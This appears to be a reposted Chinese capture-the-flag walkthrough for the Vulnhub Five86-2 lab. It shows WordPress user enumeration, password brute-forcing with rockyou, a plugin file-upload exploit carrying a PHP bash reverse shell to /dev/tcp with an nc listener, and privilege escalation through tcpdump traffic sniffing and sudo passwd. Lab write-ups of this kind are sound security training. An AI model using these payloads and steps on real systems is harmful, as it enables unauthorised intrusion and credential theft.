Vulnhub:Five86-2-靶机练习

环境:VMware + kali / 桥接网络
目标:获取root权限
步骤:
  VMware使用桥接方式,网络扫描,nmap -A 172.168.10.9,发现靶机地址,
 
  从扫描结果,发现开启了21和80端口,80口,运行着http的wordpress服务,apache服务器。
 
  由于在主机上找到了wordpress,因此选择wpscan并运行以下命令进行wordpress扫描。wpscan --url http://172.168.10.9 --enumerate u
 
  从其扫描结果中,列举了5个用户名:peter,admin,barney,gillian,stephen,如下图所示。
 
  使用rockyou.txt单词表进行密码暴力破解来枚举密码,因此将上述用户名保存在名为users.txt的文本文件中,然后通过执行以下命令来发起暴力破解。wpscan --url http://172.168.10.9  -U users.txt -P /usr/share/wordlists/rockyou.txt
 
  从其扫描结果中,找到了barney和stephen的密码,如下图:
 
  为了正确访问该网站,在/etc/hosts文件中添加了主机名和主机IP。
 
  此外,使用Barney登录凭据,登录到了wordpress,发现安装了“将可插入内容嵌入或嵌入WordPress”插件。在Google中进行了搜索,以查找有关它的更多信息,并在Exploit_DB 上找到了一种方法来利用此插件来获得反向连接。
 
  Exploit WordPress
  要使用安装了WordPress的插件,请遵循下面给出的步骤。
    1、创建一个包含两个文件的.zip存档,分别为:index.html,index.php
    echo "<html>hello</html>" > index.html
    echo "<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/172.168.10.9/1234 0>&1'");" > shell.php
    zip raj.zip index.html shell.php
 
    2、以barney身份登录wordpress
    3、 Create a new Post -> Selec Add block  E-Learning ->
 
 
    4、选择upload选项上传刚刚创建的zip文件:
 
    5、浏览并上传sun.zip -> Inster as:Iframe ->Insert
 
    6、上传zip文件后,在kali机上开启netcat侦听器并从URL访问webshell,如下所示:
      nc -lvp 1234
      five86-2/wp-content/uploads/articulate_uploads/sunny/shell.php
 
  (另注:此处使用文章作者的方法制作shell.php文件,上传后,无法反弹shell,于是使用了kali自带的webshell文件/usr/share/webshells/php/php-reverse-shll.php,再进行zip压缩,然后才得以反弹shell)
 
    7、 Booom!!在netcat会话的帮助下,获得了反向连接,但是,这是启动挑战的根源,因此需要升级特权,以尝试获取访问权限高的shell。因此,现在开始进行枚举,然后将功能许可权授予了Stephen for tcpdump。
     su stephen
     apollo1
     python3 -c 'import pty;pty.spawn("/bin/bash")'
     getcap -r /2>/dev/null
 
  因此,运行以下命令,显示UP和运行界面。tcpdump -D
    8、如上图所示,即使在低特权访问下,tcpdump仍具有捕获所有网络流量的功能,因此,如果可能,触发以下命令以检查“ vethfb554aa ”流量,并将输出保存在pcap文件“ cap .pcap”。
timeout 150 tcpdump -w cap.pcap -i vethfb554aa(输入该命令的时候需要注意的一点是,要切换一下目录,切换到了tmp目录下,才起作用)借助“ -r”选项,尝试访问pcap文件并幸运地找到了凭据
    Username: paul
    Password: esomepasswford
 
    因此,在上述凭证的帮助下,切换到了paul帐户并检查它的sudo权限。发现保罗拥有sudo权限,可以以彼得身份运行/usr/sbin/service程序。
 
    paul@five86-2:/tmp$ 然后,检查sudo的权限是否为peter,发现它具有以root用户身份运行任何程序的所有权限,但是不知道Peter的密码,而且peter拥有/usr/bin/passwd作为root的sudo权限。为了访问root,尝试获取最终flag:
 
    sudo passwd root
    new password: raj
    su root
    cd root
    cat flag.txt
 

猜你喜欢

转载自www.cnblogs.com/xydd/p/13201120.html